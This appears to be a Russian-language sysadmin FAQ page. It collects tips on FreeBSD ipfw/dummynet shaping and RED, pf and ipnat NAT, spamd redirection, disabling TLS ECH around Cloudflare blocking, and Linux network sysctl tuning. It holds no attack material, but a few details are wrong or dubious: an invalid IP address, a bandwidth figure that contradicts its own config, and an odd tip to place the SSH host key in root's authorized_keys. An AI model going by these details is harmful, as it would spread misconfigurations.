    Дано: асинхронный спутниковый Инет. Входящий канал - 1024 Кбит\с.
    
    Опытным путем установлено, что проблемы с потерей траффика (до 10% от
    общего объема) возникают при многопотоковых http\ftp закачках, т.к. спутниковый
    провайдер в этом случае может отдать поток на все 1024 Кбит\с. При серфинге все
    нормально. Исходя из этого, мною были сделаны некоторые расчеты:
    
    При максимальной пропускной способности входящего спутникового канала
    в 1024 Кбит\с и размере пакета в 1500 байт, пропускная способность канала
    равна ~ 87 пакетов\сек. В это же время, для канала в 128 Кбит\с пропускная
    способность равна ~ 11 пакетов\сек. Гипотетическая разница, при условии что на
    юзера будет идти поток в 1024 Кбит\с, а отдаваться только 128 Кбит\с, может
    составить 76 пакетов\сек.
    
    Итого, опытным путем установлено:
    
        - (было) при дефолтной очереди в 50 пакетов на pipe 128 Кбит\с потери 10%
        - при размере очереди = разница*2 = 150 пакетов потери 2%
        - (стало) при размере очереди = разница*3 = 230 пакетов потери 0%
    
    Серфинг не страдает, задержек нет. Закачка идет на скорости шейпера, потерь нет.
    
    Пробовал другой вариант.
    Hа pipe 128 Кбит\с было выставлено gred 0.002/3/6/0.1 В итоге - огромные
    потери, т.к. канал практически все время работал на скорости пакетов намного
    больше чем max_th*2. Изменение параметров до gred 0.002/50/150/0.1 не влияло на
    результат, т.к. дефолтный размер очереди в 50 пакетов часто переполнялся и gred
    не имел никакого действия. 
    ---------
    
    Что такое алгоритмы RED и gentle RED у ipfw?
    http://unixfaq.ru/index.pl?req=qs&id=310
    
    Ответ на этот вопрос скомпилирован из статей в конференции RU.UNIX.BSD от следующих авторов: 
    Valentin Ermolaev, Alexander V. Naumochkin, Jen Linkova.
    
    Сокращение RED означает "Random Early Detection". Метод используется для
    выравнивания всплесков трафика.
    
    Основным критерием метода является так называемая перегрузка.
    
    В качестве показателя перегрузки avg используется вычисляемое среднее значение
    длины очереди пакетов,
    принадлежащей к определенной сессии TCP. Использование усредненного,
     а не мгновенного значения очереди позволяет отделить кратковременные перегрузки, 
    которые могут быть нормально обработаны устройством и сетью, от длительных перегрузок, 
    которые могут утопить сеть.
    
    Алгоритмически это выглядит так:
    
    В момент прихода пакета
    ; ; if (очередь не пуста)
    ; ; ; ; avg = (1 - w_q)*avg + w_q*q
    ; ; else
    ; ; ; ; m = f(time - q_time)
    ; ; ; ; avg = (1 - w_q)^m * avg;
    
    где
    
    avg -средний размер очереди
    q_time - "start of queue idle time"
    q - размер очереди
    
    w_q - вес очереди (фиксированный параметр)
    
    f() - линейная функий от времени
    
    В /usr/src/sys/netinet/ip_dummynet.c по этому поводу написано следующее:
    
    * RED algorithm
    *
    * RED calculates the average queue size (avg) using a low-pass filter
    * with an exponential weighted (w_q) moving average:
    * avg <- (1-w_q) * avg + w_q * q_size
    * where q_size is the queue length (measured in bytes or * packets).
    *
    * If q_size == 0, we compute the idle time for the link, and set
    * avg = (1 - w_q)^(idle/s)
    * where s is the time needed for transmitting a medium-sized packet.
    
    - что полностью согласуется с приведенными выше формулами.
    
    Далее в алгоритме вводятся два порога уровня перегрузки: min_th и max_th. 
    Когда уровень перегрузки ниже первого порога min_th, то пакеты не отбрасываются. 
    Если уровень перегрузки находится между двумя порогами, пакеты отбрасываются с линейно 
    возврастающей вероятностью из диапазона от 0 до конфигурируемой величины max_p, 
    которая достигается при достижении второго порога max_th. Выше порога max_th 
    отбрасываются все пакеты.
    
    Такой метод вычисления позволяет сглаживать всплески трафика - для сравнения в
    первой из статей (см. ниже)
    на одном графике приводятся и изменение размера очереди q, и усредненного размера 
    очереди (avg) от времени. В той же статье есть выкладки на тему значений w_q.
    
    При gentle RED ситуация выглядит чуть сложнее:
    
    Если перегрузки лежит в интервале от min_th до max_th, то пакеты отбрасываются с линейно 
    возрастающей от 0 до max_p вероятностью. Когда перегрузка превышает max_th, 
    но не превышет 2*max_th, пакеты отбрасываются не все (как в случае RED), а с линейно возрастающей 
    от max_p до 1 вероятностью. Все пакеты отбрасываются только после превышения
    перегрузки канала значения 2*max_th.
    
    Вот как это сделано в ip_dummynet.c:
    
    если длина очереди > max_th, то в случае gred вероятность 
    отбрасывания пакета вычисляется как
    
    ; ; p_b = c_3 * avg - c_4
    где c_3 = (1 - max_p) / max_th
    ; ; c_4 = 1 - 2 * max_p
    
    В случае просто RED пакет отбрасывается.
    
    При загрузке очереди, большей min_th, но меньшей max_th, функция
    вероятности одинакова и выглядит след. образом:
    
    ; ; p_b = c_1 *avg - c_2
    где c_1 = max_p / (max_th - min_th),
    ; ; c_2 = max_p * min_th / (max_th - min_th)
    
    Полезные ссылки:
    
       1. http://www.icir.org/floyd/papers/red/red.html
       2. http://www.icir.org/floyd/red.html
       3. http://www.cisco.com/warp/public/732/Tech/red/
    
     
    ----* Как увеличить размер таблицы состояний активных соединений в pf (доп. ссылка 1)   [обсудить]
     
    Проверяем число соединений в таблице и сравнимаем с текущим лимитом:
    
    # pfctl -s state | wc -l
    10000
    # pfctl -s memory | grep states
    states        hard limit    10000
    
    Таблица переполнена, поднимает лимит до 20000:
       set limit states 20000
    
    Перечитываем конфигурацию pf:
       pfctl -O -f /etc/pf.conf
    
     
    ----* Прозрачный переброс SMTP трафика к spamd, используя pf (доп. ссылка 1)   Автор: undeadly.org  [комментарии]
     
    Ниже описано как в разрыв между внешним миром и локальной сетью поставить машину на базе OpenBSD, 
    на которой будет в прозрачном режиме отсеиваться спам через spamd.
    
    fxp2 - внешний интерфейс
    fxp0 - интерфейс локальной сети
    
    Поднимаем бридж:
    
       ifconfig fxp0 up
       ifconfig fxp2 inet 172.16.5.111 netmask 255.255.255.0 up
       route add default 172.16.5.1
       ifconfig bridge0 create
       brconfig bridge0 add fxp0 add fxp2 up
    
    Проверяем включен ли форвадинг пакетов между интерфейсами и загружаем правила пакетного фильтра pf:
    
        sysctl net.inet.ip.forwarding=1
        pfctl -ef /etc/pf.conf
    
    где  /etc/pf.conf:
    
        ext_if="fxp2"
    
        table <spamd> persist
        table <spamd-white> persist
    
        rdr on $ext_if inet proto tcp from <spamd> to port smtp \
                -> 127.0.0.1 port spamd
        rdr on $ext_if inet proto tcp from !<spamd-white> to port smtp \
                -> 127.0.0.1 port spamd
    
        # "log" so you can watch the connections getting trapped
        pass in log on $ext_if route-to lo0 inet proto tcp to 127.0.0.1 port spamd
    
     
    ----* Как избавится от роста висящих FIN_WAIT_2 соединений под FreeBSD   [комментарии]
     
    Если используется ipfw2 и keep-state правила, то от непрерывного роста 
    соединений со статусом FIN_WAIT_2 помогает:
       sysctl -w net.inet.ip.fw.dyn_keepalive=0
    
     
    ----* Как вести лог блокировок в iptables и ipfw   [комментарии]
     
    Linux:
    
    - Перед правилом блокировки нужно вставить "log" правило:
       iptables -A FORWARD -p tcp -m tcp -s 192.168.0.0/16 --dport 25 \
          -j LOG --log-level debug --log-prefix "outgoing mail" 
       iptables -A FORWARD -p tcp -m tcp -s 192.168.0.0/16 --dport 25 -j DROP
    
    - Проверить запущены ли в системе klogd и syslogd.
    
    - Настроить /etc/syslog.conf на прием kern.debug логов:
       kern.=debug   -/var/log/kernel/info
    
    FreeBSD:
    Добавить ключ log в ipfw, например:
       ipfw add 1000 deny log tcp from any to 192.168.10.10 22 via fxp0
       ipfw add 1000 deny log logamount 0 tcp from any to 192.168.10.10 80 via fxp0
    
    Для ведения логов ядро должно быть собрано с IPFIREWALL_VERBOSE или нужно
    выставить "sysctl -w net.inet.ip.fw.verbose=1".
    
    Далее проверить чтобы в /etc/syslog.conf было упоминание LOG_SECURITY:
       security.*      /var/log/security
    
    Через параметр logamount передается число записей которые будет записано в лог, 
    после превышения записи перестанут появляться в логе, до тех пор пока не будет вызвана команда 
    "ipfw resetlog". Максимальное число сообщений можно также установить 
    через sysctl net.inet.ip.fw.verbose_limit. 
    Для отмены лимитирования на число записей, нужно установить атрибут в 0.
    
     
    ----* Безопасное редактирование правил ipfw FreeBSD   Автор: 135all  [обсудить]
     
    Для безопасного редактирование правил ipfw рекомендую обратить внимание на скрипт change_rules.sh, 
    находящийся в /usr/share/examples/ipfw. В случае неправильных действий он
    вернёт старый набор правил,
    а также сообщит  администратору об изменениях в файрволе по почте.
    
     
    ----* В двух словах про включение NAT и Firewall в ОС FreeBSD (доп. ссылка 1)   Автор: hub.ru  [комментарии]
     
    Что бы поднять NAT и Firewall на FreeBSD надо:
    
    Скомпилировать ядро:
    Следующие строки нужно включить в /usr/src/sys/i386/conf/GENERIC файл конфигурации:
    
       options IPFIREWALL
       options IPDIVERT
       options IPFIREWALL_VERBOSE
       options IPFIREWALL_VERBOSE_LIMIT=10
       options DUMMYNET
       options TCP_DROP_SYNFIN
    
    Переходим в директорию /usr/src/
       make buildkernel KERNCONF=GENERIC
       make installkernel KERNCONF=GENERIC
    
    Следующие строки можно к примеру включить в rc.conf файл конфигурации:
    
       hostname="free"
       ifconfig_rl0="10.0.0.1"
       gateway_enable="YES"
       firewall_enable="YES"
       firewall_type="open"
       natd_enable="YES"
       natd_interface="rl0"
       natd_flags="-redirect_port tcp 10.0.0.10:80 80"
       tcp_extensions="NO"
       tcp_drop_synfin="YES"
       icmp_drop_redirect="YES"
       sendmail_enable="NONE"
    
    Для удаленного управления нужно добавить следующую строку:
       sshd_enable="YES"
    (возможно понадобится скопировать /etc/ssh/ssh_host_dsa_key.pub в /root/.ssh/authorized_keys
    
    Следующие строки можно включить в rc.firewall файл конфигурации (секция "open"):
    
       [Oo][Pp][Ee][Nn])
       oif="rl0"
       iif="tx0"
       oip="132.5.7.172"
       iip="10.0.0.1"
       lan="10.0.0.0/24"
       setup_loopback
       # allow all for LAN
       ${fwcmd} add 500 pass all from ${lan} to ${iip} via ${iif}
       ${fwcmd} add 550 pass all from ${iip} to ${lan} via ${iif}
       # download - 60K upload - 6K for all lan ip's
       ${fwcmd} add 600 pipe 1 ip from any to any in via ${oif}
       ${fwcmd} add 650 pipe 2 ip from any to any out via ${oif}
       # for selected ip's only
       # ${fwcmd} add 601 pipe 1 all from any to 10.0.0.10
       # ${fwcmd} add 651 pipe 2 all from 10.0.0.10 to any
       ${fwcmd} pipe 1 config bw 512Kbit/s
       ${fwcmd} pipe 2 config bw 48Kbit/s
       # dns setup
       ${fwcmd} add 770 pass tcp from any to ${oip} 53 setup
       ${fwcmd} add 780 pass udp from any domain to any
       ${fwcmd} add 790 pass udp from any to any domain
       # main setup
       ${fwcmd} add 800 pass tcp from any http,https,20-21,989-990 to any
       ${fwcmd} add 810 pass tcp from any to any http,https,20-21,989-990
       ${fwcmd} add 830 pass tcp from any pop3,pop3s,smtp,imap,imaps,aol to any
       ${fwcmd} add 840 pass tcp from any to any pop3,pop3s,smtp,imap,imaps,aol
       ${fwcmd} add 65000 deny ip from any to any
       ;;
     
    Где oip, oif - внешний интерфейс; iip, iif - внутренний; lan - внутренняя сеть.
    
    Такая конфигурация ipfw весьма параноидальна, и здесь приведена только в качестве примера. 
    На практике обычно нужен более открытый фаервол. 
    
     
    ----* pf и трансляция адресов на двух интерфейсах   Автор: DelGod  [комментарии]
     
    Решение оптимизировано для шлюза на флешке (не используется perl и другие "тяжелые" решения)
    
    -------------------------
    /usr/local/etc/rc.d/openvpn.sh
    -------------------------
    
    #!/bin/sh
    
    . /etc/rc.subr
    
    name=openvpn
    rcvar=`set_rcvar`
    
    prefix="/usr/local"
    
    openvpn_precmd()
    {
            for i in $openvpn_if ; do
                    # FreeBSD <= 5.4 does not know kldstat's -m option
                    # FreeBSD >= 6.0 does not add debug.* sysctl information
                    # in the default build - we check both to keep things simple
                    if ! sysctl debug.if_${i}_debug >/dev/null 2>&1 \
                            && ! kldstat -m if_${i} >/dev/null 2>&1 ; then
                            if ! kldload if_${i} ; then
                                    warn "Could not load $i module."
                                    return 1
                            fi
                    fi
            done
            return 0
    }
    
    start_postcmd()
    {
            `/bin/cat /var/db/ukr_nets| /usr/bin/awk '{ if ($1) {system("route add "$1" 193.201.61.65 >/dev/null")} }'`
            /bin/sleep 10 && pfctl -F all -f /etc/pf.conf_openvpn
    }
    
    stop_postcmd()
    {
            `/bin/cat /var/db/ukr_nets| /usr/bin/awk '{ if ($1) {system("route delete "$1" 193.201.61.65 >/dev/null")} }'`
            pfctl -F all -f /etc/pf.conf
            rm -f "$pidfile" || warn "Could not remove $pidfile."
    }
    
    extra_commands="reload"
    pidfile="/var/run/${name}.pid"
    command="/usr/local/sbin/${name}"
    start_precmd="openvpn_precmd"
    start_postcmd="start_postcmd"
    stop_postcmd="stop_postcmd"
    
    load_rc_config ${name}
    : ${openvpn_enable="NO"}
    : ${openvpn_flags=""}
    : ${openvpn_if=""}
    : ${openvpn_configfile="${prefix}/etc/openvpn/openvpn.conf"}
    : ${openvpn_dir="${prefix}/etc/openvpn"}
    required_files="${openvpn_configfile}"
    command_args="--cd ${openvpn_dir} --daemon --config ${openvpn_configfile} --writepid ${pidfile}"
    run_rc_command "$1"
    
    -------------------------
    /etc/pf.conf
    -------------------------
    
    ext_if_t="rl0"
    int_if="rl1"
    table <users> persist { 192.168.1.0/24 }
    nat on $ext_if_t inet from <users> to any  -> $ext_if_t
    pass on $ext_if_t all
    pass on $int_if all
    
    -------------------------
    /etc/pf.conf_openvpn
    -------------------------
    
    ext_if_o="tap0"
    ext_if_t="rl0"
    int_if="rl1"
    table <users> persist { 192.168.1.0/24 }
    table <ukr> persist file "/var/db/ukr_nets"
    nat on $ext_if_t inet from <users> to <ukr>  -> $ext_if_t
    nat on $ext_if_o inet from <users> to !<ukr> -> $ext_if_o
    pass on $ext_if_o all
    pass on $ext_if_t all
    pass on $int_if all
    
    -------------------------
    cron:
    -------------------------
    
    0 0 * * * /usr/bin/fetch -q -o "/var/db/ukr_nets" 'http://www.colocall.net/ua/?list'
    
     
    ----* FreeBSD 5.3 ipfw правило по умолчанию   Автор: else  [комментарии]
     
    В прежних версиях FreeBSD изменить правило по умолчанию 
       65535  deny ip from any to any на 
       allow ip from any to any 
    можно было включением в ядро опции
       IPFIREWALL_DEFAULT_TO_ACCEPT.
    
    В версии 5.3 это не работает. Даже собрав ядро с этой опцией, получаем правило по умолчанию 
       deny ip from any to any. 
    
    Если сборка производится удаленно - сюрприз может оказаться довольно неприятным.
    
     
    ----* Проброс портов с двух различных gateway на внутренний сервер через IPNAT   Автор: Жека  [комментарии]
     
    Иногда необходимо пробросить порты с двух различных gateway GW1 и GW2 на один внутренний сервер, 
    у которого в качестве default GW указан GW1.
    Прямой проброс и NAT невозможен, т.к. пакеты пришедшие из GW2 попытаются
    вернуться по маршруту через GW1.
    Есть следующий выход, это двойной NAT на GW2, при котором запрос приходит не
    снаружи, а с внутреннего IP.
    
    ed0 - внешний интерфейс
    lnc0 - интерфейс смотрящий внутрь.
    
    в ipnat.rules нужно прописать следующее:
       map ed0 10.6.10.0/24 -> 0.0.0.0/32 мапим локалку наружу
       map lnc0 0.0.0.0/0 -> 0.0.0.0/32 ремап внешних ip в локальные
       rdr ed0 0.0.0.0/0 port 80 -> 10.6.10.2 port 80 tcp форвард на внутренний сервер
    
     
    ----* Как с помощью ipfw отрезать баннеры в ICQ   Автор: orm_vartis  [комментарии]
     
    Мысль простая:
    Аська сообщениями по 5190 и другим портам обменивается, а баннеры только с определенных 
    IP  с 80го порта качает по HTTP ... Когда я на это наткнулся, написал скрипт такого содержания:
    
    #!/bin/sh
    # add this rule to your firewall and :
    # ipfw deny tcp from 192.168.0.0/16 to table(1) out via rl0 setup dst-port 80
    
    NETS=" 64.12.164 64.12.174 152.163.208 205.188.165 205.188.248 205.188.250 "
    IPS=" 25 57 121 153 185 245 "
    fwcmd=" ipfw "
    tablenum=" 1 "
    
    #Flushing table
    ${fwcmd} table ${tablenum} flush
    
    #Add tables ips
    for D1 in ${NETS}
      do     
      for D2 in ${IPS}
        do
        ${fwcmd} table ${tablenum} add ${D1}.${D2}
        done
      done
    
    
    И в firewall воткнул правило вида
       ipfw deny tcp from any to table\(1\) out via rl0 setup dst-port 80
    
    Где  rl0 - внешний интерфейс.
    
    Правильнее, конечно настроить squid и резать банеры на нем - но так проще и
    быстрее. К тому же заметно меньше грузит машину.
    
     
    ----* Как разделить канал между пользователями используя ipfw. (доп. ссылка 1)   Автор: mgear  [обсудить]
     
       /sbin/ipfw pipe 1 config bw 7000Kbit/s
       /sbin/ipfw queue 1 config pipe 1 weight 75 mask dst-ip 0x00000000
       /sbin/ipfw queue 2 config pipe 1 weight 50 mask dst-ip 0x00000000
       /sbin/ipfw queue 3 config pipe 1 weight 50 mask dst-ip 0x00000000
       /sbin/ipfw queue 4 config pipe 1 weight 50 mask dst-ip 0x00000000
       /sbin/ipfw add queue 1 ip from any to 192.168.0.0/24
       /sbin/ipfw add queue 2 ip from any to 192.168.1.0/24
       /sbin/ipfw add queue 3 ip from any to 192.168.2.0/24
       /sbin/ipfw add queue 4 ip from any to 192.168.3.0/24
    
    Итого имеем: одну толстую трубу на 7К и 4 очереди в нее. 
    У первой приоритет 75% канала. У остальных - по 50% 
    
     
    ----* Установка IPFW2 на FreeBSD   Автор: Tigran Parsadanian  [комментарии]
     
    Собираем библиотеки и сам IPFW:
       cd /usr/src/lib/libalias
       make -DIPFW2 && make install
       cd /usr/src/sbin/ipfw
       make -DIPFW2 && make install
    Пересобираем ядро с "options IPFW2" и опциями по вкусу:
    options         IPFIREWALL              #firewall
    options         IPFIREWALL_VERBOSE      #enable logging to syslogd(8)
    options         IPFIREWALL_FORWARD      #enable transparent proxy support
    options         IPFIREWALL_VERBOSE_LIMIT=100    #limit verbosity
    options         IPFIREWALL_DEFAULT_TO_ACCEPT    #allow everything by default
    options         DUMMYNET
    options         IPFW2
    Делаем reboot и проверяем например командой "ipfw show"
    
     
    ----* Как в FreeBSD перебросить соединение через NAT во внутреннюю сеть  (доп. ссылка 1)   Автор: spanka  [комментарии]
     
     Вот реализация для ipfw:
    if1IP="ип_смотрящий_в_инет", if1="интерфейс_смотрящий_в_инет"
    ifLIP="ип_на_который хотим делать редирект"
      ipfw add divert natd tcp from any to ${if1IP} 80 via ${if1}
      ipfw add divert natd ip from any to ${ifLIP} to any via ${if1}
      ipfw add allow tcp from any to ${if1IP} 80 via any
      natd -n ${if1} -redirect_port tcp ${ifLIP}:80 80
    
    Решение от miaso <torov@wipline.ru>:
      tproxy -s 80 -r nobody -l /var/log/transparent_proxy.log [int_ip] 80 
    
     
    ----* Как разрешить или запретить выполнение следующих ipfw правил после встречи dummynet pipe   [комментарии]
     
    Завершить выполнение цепочки ipfw правил после попадания в pipe:
       sysctl -w net.inet.ip.fw.one_pass=1                                             
    Продолжить выполнение следующих ipfw правил после попадания в pipe:
       sysctl -w net.inet.ip.fw.one_pass=0
    
     
    ----* Как правильно зафильтровать ICMP через FreeBSD ipfw (доп. ссылка 1)   Автор: Nikola_SPb  [комментарии]
     
    Расшифровка кодов ICMP сообщений:
    echo reply (0), destination unreachable (3), source quench (4), redirect (5),
    echo request (8), router adver-tisement (9),
    router solicitation(10), time-to-live exceeded (11), IP header bad (12),
    timestamp request (13), timestamp reply (14),
    information request (15), information reply (16), address mask request (17) and
    address mask reply (18).
    ${fwcmd} add 00300 allow icmp from any to внешний_IP in via внешний_интерфейс icmptype 0,3,4,11,12
    ${fwcmd} add 00301 allow icmp from внешний_IP to any out via внешний_интерфейс icmptype 3,8,12
    ${fwcmd} add 00304 allow icmp from внешний_IP to any out via внешний_интерфейс frag
    ${fwcmd} add 00305 deny log icmp from any to any in via внешний_интерфейс
    
     
    ----* Как организовать редирект порта на внутреннюю машину через ipnat в FreeBSD.   [комментарии]
     
    man 5 ipnat  в /etc/ipnat.conf:
      rdr fxp0 205.15.63.3/32 port 80 -> 192.168.1.1 port 80 tcp
    # Базансировка нагрузки между 2 IP:
      rdr le0 203.1.2.3/32 port 80 -> 203.1.2.3,203.1.2.4 port 80 tcp round-robin
    
     
    ----* Как у ipfilter обнулить статистику без перезагрузки ?   [обсудить]
     
      ipf -z -f my_ipfilter_rules_file
    
     
    ----* Как в ipfw если выполнилось условие, пропустить следующие N правил.   [обсудить]
     
    ipfw add 50 skipto 100 tcp from any to 1.2.3.4
    ipfw add 60 .....
    ipfw add 100 .....
    
     
    ----* Пример ограничения полосы пропускания трафика в FreeBSD   [комментарии]
     
    Собираем ядро с опциями:
       options         DUMMYNET
       options         IPFIREWALL
    Ограничиваем трафик для сеток 1.1.1.0/24 и 3.3.3.0/24 на 14000 кбит/с:
       ipfw add pipe 50 tcp from any to 1.1.1.0/24 via fxp0
       ipfw add pipe 50 tcp from any to 3.3.3.0/24 via fxp0
       ipfw pipe 50 config bw 14Kbit/s
    Для внесения задержки на N ms, используйте delay N после config.
    Для установки веса данного пайпа по отношению к другим пайпам используйте weight вес.
    Для WF2Q ограничения трафика используйте ipfw queue
    (queue N config [pipe pipe_nr] [weight weight] [queue {slots | size})
    PS (комментарий от gara@mail.ru):
     Если возникает необходимость организовать "канал" для каждого пользователя из данной сети то пишем:
    ipfw pipe 10 config mask dst-ip 0x000000ff bw 1024bit/s  queue
    ipfw add pipe 10 tcp from any to 1.1.1.0/24 via fxp0
    Теперь каждый хост из сети 1.1.1.0/24 имеет свой канал 1024bit/s
    
     
    ----* Можно ли отфильтровывать пакеты (вести лог) в зависимости от UID пользователя ?   [обсудить]
     
    Для FreeBSD:
    ipfw add count tcp from any to not 192.168.1.0/24 uid 231
    uid user (или gid group) - под правило попадают все TCP или UDP пакеты посланный 
    или принятые пользователем user (группой group).
    В Linux в ядрах 2.4.x в iptables можно использовать модуль owner.
    
     
    ----* Как запретить открывать более 30 соединений с одного IP   [комментарии]
     
    Запретим более 30 коннектов для 80 порта сервера 1.2.3.4.
        ipfw add allow tcp from any to 1.2.3.4 80 limit src-addr 30
        ipfw add allow tcp from any to 1.2.3.4 80 via fxp0 setup limit src-addr 10
    Вместо src-addr можно использовать src-port, dst-addr, dst-port
    Конструкция работает в последних версиях FreeBSD 4.x ветки.
    
     
    ----* Как обеспечить работу active FTP режима в FreeBSD NAT   [обсудить]
     
    В ipnat воспользуйтесь модулем ftp proxy:
      map fxp0 0/0 -> 0/32 proxy port ftp ftp/tcp
      map rl0 172.16.33.0/24 -> 212.46.231.50/32 proxy port ftp ftp/tcp
    не забудьте поместить правило трансляции ftp перед общим правилом трансляции, 
    порядок следования правил важен.
    
     
    ----* Как запустить трансляцию адресов (NAT) под FreeBSD   [комментарии]
     
    В /etc/rc.conf: 
      ipnat_enable="YES"
    
    В /etc/ipnat.rules: 
    Трансляция адресов (NAT):
    
      map ppp0 172.16.1.0/24 -> 194.46.124.53/32
    
    где, ppp0 - внешний интерфейс, 
    172.16.1.0/24 - внутренние IP, 
    194.46.124.53 - реальный IP внешнего интерфейса.
    
    Переброс порта во внутреннюю сеть:
    
       rdr ed0 294.16.9.6/32 port 8080 -> 192.168.0.7 port 8080 tcp
    
    где, ed0 - внешний интерфейс, 
    294.16.9.6 - реальный IP внешнего интерфейса, на который нужно обращаться из вне.
    192.168.0.7 - внутренний IP на который делается переброс.
    8080  - номер перебрасываемого порта.
    
    
    Перечитать: ipnat -CF -f /etc/ipnat.rules
    
     
    ----* Как организовать Policy Routing на FreeBSD   [комментарии]
     
    ipfw add 100 fwd 10.0.0.2 ip from 10.0.2.0/24 to any 
    
    Если нужно использовать 2 шлюза, то можно воспользоваться:
      ipfw add  fwd $ext_gw_ip ip from $ext_net to any out xmit $ext_int
    
     
    ----* Автоматическая нумерация правил ipfw в FreeBSD (доп. ссылка 1)   Автор: Дмитрий Новиков  [комментарии]
     
    Для автоматической нумерации правил ipfw мы применяем следующий             
     несложный прием:
    C=300 # начальное значение
    STEP=100 # Шаг увеличения
    ipfw add $C $(C=$(($C+$STEP))) allow ip from 10.128.0.0/16 to 10.128.0.0/16
    ipfw add $C $(C=$(($C+$STEP))) allow ip from 195.131.31.0/24 to 195.131.31.0/24
    
     

       Проблемы работы сети

    ----* Как отключить TLS-расширение ECH для решения проблем с Cloudflare в РФ   [комментарии]
     
    Роскомнадзор начал блокировать в РФ  соединения к сайтам, использующим
    TLS-расширение ECH (Encrypted Client Hello). Блокировка привела к массовым
    проблемам с сайтами, работающими через сеть доставки контента Cloudflare,
    которую используют примерно 19% всех сайтов в интернете (по другим данным
    16%  (31 млн) активных сайтов или 23.83% из миллиона самых популярных сайтов).
    
    О масштабе сбоев можно судить хотя бы по тому, что из-за блокировки ECH была
    нарушена работа сайта самого Роскомнадзора, на котором для загрузки шрифтов
    использовался сервис webfontfree.com, работающий через Cloudflare (первая
    попытка открытия rkn.gov.ru приводила к минутному зависанию до истечения таймаута).
    
    
    ECH продолжает развитие TLS-расширений SNI и ESNI (Encrypted Server Name
    Indication) и предназначен для шифрования информации о параметрах TLS-сеансов,
    таких как запрошенное доменное имя. Если без ECH на стороне интернет-провайдера
    можно выборочно фильтровать HTTPS-трафик и анализировать какие сайты открывает
    пользователь, то ECH позволяет добиться полной конфиденциальности при
    применении HTTPS при обращении к сайтам, использующим сети доставки контента с
    поддержкой ECH. После включения поддержки ECH в Cloudflare Роскомнадзор потерял
    возможность блокировать сайты, использующие данную сеть доставки контента, и
    поэтому просто начал блокировать HTTPS-запросы с ECH (судя по всему блокировка
    ECH  пока ограничивается отдельными подсетями Cloudflare).
    
    На стороне пользователя в Firefox доступ к сайтам, работающим через Cloudflare,
    можно решить двумя путями:
    
    * отключить настройки network.dns.echconfig.enabled и
    network.dns.http3_echconfig.enabled на странице about:config
    
    * отключить использование протокола TLS 1.3 выставив в about:config параметр
    security.tls.version.max  в значение "3". При этом может быть нарушена работа с
    серверами, поддерживающими только протокол TLS 1.3 и отключившими поддержку TLS 1.2.
    
    В Chrome раньше ECH можно было отключить через параметр 
    chrome://flags#encrypted-client-hello, но с февраля этого года он удалён и ECH
    всегда включён по умолчанию. Для отключения ECH в Chrome обходным путём можно
    создать файл /etc/opt/chrome/policies/managed/conf.json c содержимым:
    
       {
         "EncryptedClientHelloEnabled": false
       }
    
    
    
    Владельцы сайтов, использующих Cloudflare, могут отключить ECH в личном
    кабинете dash.cloudflare.com в секции "SSL > Edge Certificates > Encrypted
    ClientHello (ECH)".
    
    Если тарифный план не предусматривает возможность изменения данной настройки
    через web-интерфейс, для отключения ECH можно использовать API:
    
       curl -X PATCH "https://api.cloudflare.com/client/v4/zones/ID_ZONE/settings/ech" -H "X-Auth-Key: YOUR_GLOBAL_API_KEY" -H "X-Auth-Email: YOUR_EMAIL" -H "Content-Type: application/json" --data '{"id":"ech","value":"off"}'
    
     
    ----* Часто используемые параметры sysctl, касающиеся настройки сети в Linux (доп. ссылка 1)   Автор: zersh  [комментарии]
     
    От переводчика (@zersh).
    
    Это адаптированный перевод работы https://github.com/leandromoreira/linux-network-performance-parameters
    Для понимания некоторых моментов использовалась статья. Принимаются любые
    замечания и предложения. Спасибо zizmo и @servers(Artem) - за помощь и
    конструктивную критику)
    Лицензия: BSD-3
    
    Введение
    
    Иногда люди пытаются найти некие универсальные значения параметров sysctl
    (https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt), применение
    которых во всех случаях позволит добиться и высокой пропускной способности, и
    низкой задержки при обработке сетевых запросов. К сожалению, это не возможно,
    хотя стоит отметить, что современные версии ядер по умолчанию уже неплохо
    настроены. Важно понимать, что изменение заданных по умолчанию настроек может
    ухудшить производительность (https://medium.com/@duhroach/the-bandwidth-delay-problem-c6a2a578b211).
    
    Это краткое руководство, в котором приведены часто используемые параметры
    sysctl, касающиеся настройки сети Linux, вдохновлённый иллюстрированным
    руководством по сетевому стеку Linux
    (https://blog.packagecloud.io/eng/2016/10/11/monitoring-tuning-linux-networking-stack-receiving-data-illustrated/) и
     многими постами Marek Majkowski (https://blog.cloudflare.com/how-to-achieve-low-latency/).
    
    
    Обзор сетевых очередей Linux
    
    
    
    
    
    Связь переменных sysctl с различными стадиями обработки сетевых потоков в Linux
    
    
    Входящие пакеты (Ingress)
    
    1. Пакеты прибывают в NIC (сетевой адаптер)
    
    2. NIC проверяет `MAC` (если не включён promiscuous-режим) и `FCS (Frame check
    sequence)` и принимает решение отбросить пакет или продолжить обработку.
    
    3. NIC используя DMA (https://en.wikipedia.org/wiki/Direct_memory_access),
    помещает пакеты в RAM регионе, ранее подготовленном (mapped) драйвером.
    
    4. NIC ставит ссылки в очередь на пакеты при получении ring buffer
    (https://en.wikipedia.org/wiki/Circular_buffer) очередь `rx` до истечения
    таймаута  `rx-usecs` или `rx-frames`
    
    5. NIC Генерируется аппаратное прерывание, чтобы система узнала о появлении
    пакета в памяти `hard IRQ`
    
    6. CPU запустит `IRQ handler`, который запускает код драйвера
    
    7. Драйвер вызовет  `планировщик NAPI`, очистит `hard IRQ` 
    
    8. Драйвер будит подсистему NAPI с помощью `soft IRQ (NET_RX_SOFTIRQ)`
    
    9. NAPI опрашивает данные, полученные из кольцевого буфера до тех пор пока не
    истечёт таймаут `netdev_budget_usecs`, или `netdev_budget` и `dev_weight` пакета
    
    10. Linux также выделяет память для `sk_buff`
    
    11. Linux заполняет метаданные: протокол, интерфейс, устанавливает MAC-адрес
    (setmacheader), удаляет ethernet
    
    12. Linux передаёт skb (данные) в стэк ядра (`netif_receive_skb`)
    
    13. Установит сетевые заголовки, клонирует `skb` ловушкам (вроде tcpdump) и передаст на вход
    
    14. Пакеты обрабатываются в qdisc (Queueing discipline) размера
    `netdev_max_backlog`, алгоритм которого определяется `default_qdisc`
    
    15. Вызывает `ip_rcv` и пакеты обрабатываются в IP
    
    16. Вызывает netfilter (`PREROUTING`)
    
    17. Проверяет маршрутизацию, кому предназначен пакет: переслать (forwarding) или локально (local)
    
    18. Если локально, вызывает netfilter (`LOCAL_IN`)
    
    19. Это вызовет протокол L4 (для примера `tcp_v4_rcv`)
    
    20. Находит нужный сокет
    
    21. Переходит на конечный автомат tcp (finite state machine).
    
